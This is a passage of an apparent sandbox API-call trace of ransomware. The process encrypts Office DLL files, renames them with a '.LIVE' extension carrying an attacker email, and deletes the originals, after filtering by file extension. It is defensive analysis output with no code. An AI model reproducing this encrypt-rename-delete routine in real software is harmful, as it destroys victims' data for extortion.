(lpString1=".doc", lpString2=".DLL") returned 1 [0168.817] lstrlenW (lpString=".docx") returned 5 [0168.817] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0168.817] lstrlenW (lpString=".pdf") returned 4 [0168.817] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.817] lstrlenW (lpString=".xls") returned 4 [0168.817] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.817] lstrlenW (lpString=".xlsx") returned 5 [0168.817] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0168.817] lstrlenW (lpString=".ppt") returned 4 [0168.817] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.817] lstrlenW (lpString=".zip") returned 4 [0168.817] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.817] lstrlenW (lpString=".rar") returned 4 [0168.817] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.817] lstrlenW (lpString=".bz2") returned 4 [0168.817] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.817] lstrlenW (lpString=".7z") returned 3 [0168.817] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.817] lstrlenW (lpString=".dbf") returned 4 [0168.817] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.817] lstrlenW (lpString=".1cd") returned 4 [0168.817] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.817] lstrlenW (lpString=".jpg") returned 4 [0168.817] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.817] lstrlenW (lpString=".doc") returned 4 [0168.817] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.817] lstrlenW (lpString=".docx") returned 5 [0168.817] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0168.817] lstrlenW (lpString=".pdf") returned 4 [0168.818] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.818] lstrlenW (lpString=".xls") returned 4 [0168.818] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.818] lstrlenW (lpString=".xlsx") returned 5 [0168.818] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0168.818] lstrlenW (lpString=".ppt") returned 4 [0168.818] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.818] lstrlenW (lpString=".zip") returned 4 [0168.818] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.818] lstrlenW (lpString=".rar") returned 4 [0168.818] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.818] lstrlenW (lpString=".bz2") returned 4 [0168.818] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.818] lstrlenW (lpString=".7z") returned 3 [0168.818] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.818] lstrlenW (lpString=".dbf") returned 4 [0168.818] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.818] lstrlenW (lpString=".1cd") returned 4 [0168.818] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.818] lstrlenW (lpString=".jpg") returned 4 [0168.818] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.818] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0168.818] lstrlenW (lpString="ACEWSTR.DLL") returned 11 [0168.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0168.819] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=862608) returned 1 [0168.819] CloseHandle (hObject=0x1e4) returned 1 [0168.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0168.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0168.820] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0168.820] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0168.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0168.820] GetLastError () returned 0x0 [0168.820] ReadFile (in: hFile=0x1e4, lpBuffer=0x3cf0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesRead=0x32afed4*=0xd2990, lpOverlapped=0x0) returned 1 [0169.247] WriteFile (in: hFile=0x1e8, lpBuffer=0x3cf0020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesWritten=0x32afc9c*=0xd29a0, lpOverlapped=0x0) returned 1 [0169.266] ReadFile (in: hFile=0x1e4, lpBuffer=0x3cf0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0169.266] WriteFile (in: hFile=0x1e8, lpBuffer=0x3cf0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesWritten=0x32afc9c*=0xea, lpOverlapped=0x0) returned 1 [0169.267] SetEndOfFile (hFile=0x1e8) returned 1 [0169.267] CloseHandle (hObject=0x1e8) returned 1 [0169.267] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0169.267] SetEndOfFile (hFile=0x1e4) returned 1 [0169.669] CloseHandle (hObject=0x1e4) returned 1 [0169.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.669] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 1 [0169.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.670] lstrlenW (lpString=".doc") returned 4 [0169.670] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.670] lstrlenW (lpString=".docx") returned 5 [0169.670] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0169.670] lstrlenW (lpString=".pdf") returned 4 [0169.670] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.670] lstrlenW (lpString=".xls") returned 4 [0169.670] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.670] lstrlenW (lpString=".xlsx") returned 5 [0169.670] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0169.670] lstrlenW (lpString=".ppt") returned 4 [0169.670] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.670] lstrlenW (lpString=".zip") returned 4 [0169.670] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.670] lstrlenW (lpString=".rar") returned 4 [0169.670] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.670] lstrlenW (lpString=".bz2") returned 4 [0169.670] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.670] lstrlenW (lpString=".7z") returned 3 [0169.670] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.670] lstrlenW (lpString=".dbf") returned 4 [0169.670] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.670] lstrlenW (lpString=".1cd") returned 4 [0169.670] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.670] lstrlenW (lpString=".jpg") returned 4 [0169.671] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.671] lstrlenW (lpString=".doc") returned 4 [0169.671] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.671] lstrlenW (lpString=".docx") returned 5 [0169.671] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0169.671] lstrlenW (lpString=".pdf") returned 4 [0169.671] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.671] lstrlenW (lpString=".xls") returned 4 [0169.671] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.671] lstrlenW (lpString=".xlsx") returned 5 [0169.671] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0169.671] lstrlenW (lpString=".ppt") returned 4 [0169.671] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.671] lstrlenW (lpString=".zip") returned 4 [0169.671] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.671] lstrlenW (lpString=".rar") returned 4 [0169.671] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.671] lstrlenW (lpString=".bz2") returned 4 [0169.671] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.671] lstrlenW (lpString=".7z") returned 3 [0169.671] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.671] lstrlenW (lpString=".dbf") returned 4 [0169.671] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.672] lstrlenW (lpString=".1cd") returned 4 [0169.672] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0169.672] lstrlenW (lpString=".jpg") returned 4 [0169.672] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.672] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0169.672] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0169.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.673] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=105344) returned 1 [0169.673] CloseHandle (hObject=0x1e4) returned 1 [0169.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0169.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.674] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0169.674] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0169.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.675] GetLastError () returned 0x0 [0169.675] ReadFile (in: hFile=0x1e4, lpBuffer=0x3cf0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesRead=0x32afed4*=0x19b80, lpOverlapped=0x0) returned 1 [0169.680] WriteFile (in: hFile=0x1ec, lpBuffer=0x3cf0020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesWritten=0x32afc9c*=0x19b90, lpOverlapped=0x0) returned 1 [0169.683] ReadFile (in: hFile=0x1e4, lpBuffer=0x3cf0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0169.683] WriteFile (in: hFile=0x1ec, lpBuffer=0x3cf0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesWritten=0x32afc9c*=0xee, lpOverlapped=0x0) returned 1 [0169.683] SetEndOfFile (hFile=0x1ec) returned 1 [0169.683] CloseHandle (hObject=0x1ec) returned 1 [0169.683] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0169.683] SetEndOfFile (hFile=0x1e4) returned 1 [0169.685] CloseHandle (hObject=0x1e4) returned 1 [0169.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.685] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0169.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.685] lstrlenW (lpString=".doc") returned 4 [0169.686] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0169.686] lstrlenW (lpString=".docx") returned 5 [0169.686] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0169.686] lstrlenW (lpString=".pdf") returned 4 [0169.686] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0169.686] lstrlenW (lpString=".xls") returned 4 [0169.686] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0169.686] lstrlenW (lpString=".xlsx") returned 5 [0169.686] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0169.686] lstrlenW (lpString=".ppt") returned 4 [0169.686] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0169.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.686] lstrlenW (lpString=".zip") returned 4 [0169.686] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0169.686] lstrlenW (lpString=".rar") returned 4 [0169.686] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0169.686] lstrlenW (lpString=".bz2") returned 4 [0169.686] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0169.686] lstrlenW (lpString=".7z") returned 3 [0169.686] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0169.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.686] lstrlenW (lpString=".dbf") returned 4 [0169.686] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0169.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.686] lstrlenW (lpString=".1cd") returned 4 [0169.686] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0169.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.686] lstrlenW (lpString=".jpg") returned 4 [0169.686] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0169.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.687] lstrlenW (lpString=".doc") returned 4 [0169.687] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0169.687] lstrlenW (lpString=".docx") returned 5 [0169.687] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0169.687] lstrlenW (lpString=".pdf") returned 4 [0169.687] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0169.687] lstrlenW (lpString=".xls") returned 4 [0169.687] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0169.687] lstrlenW (lpString=".xlsx") returned 5 [0169.687] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0169.687] lstrlenW (lpString=".ppt") returned 4 [0169.687] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0169.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.687] lstrlenW (lpString=".zip") returned 4 [0169.687] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0169.687] lstrlenW (lpString=".rar") returned 4 [0169.687] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0169.687] lstrlenW (lpString=".bz2") returned 4 [0169.687] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0169.687] lstrlenW (lpString=".7z") returned 3 [0169.687] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0169.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.687] lstrlenW (lpString=".dbf") returned 4 [0169.687] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0169.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.688] lstrlenW (lpString=".1cd") returned 4 [0169.688] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0169.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0169.688] lstrlenW (lpString=".jpg") returned 4 [0169.688] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0169.688] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0169.688] lstrlenW (lpString="ACECORE.DLL") returned 11 [0169.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.689] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=3213192) returned 1 [0169.689] CloseHandle (hObject=0x1e4) returned 1 [0169.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0169.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0169.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0169.691] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0169.691] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0169.691] ReadFile (in: hFile=0x1e4, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0169.696] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0169.696] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0169.940] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0169.940] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0169.940] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0169.984] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0169.985] WriteFile (in: hFile=0x1e4, lpBuffer=0x3cf0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0170.202] SetEndOfFile (hFile=0x1e4) returned 1 [0170.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40000) returned 0x40d70c0 Thread: id = 84 os_tid = 0x650 [0168.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3b50688 [0168.164] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3b60690 [0168.164] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de3b0 [0168.164] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5de558 [0168.164] RtlAllocateHeap (HeapHandle=0x570000, 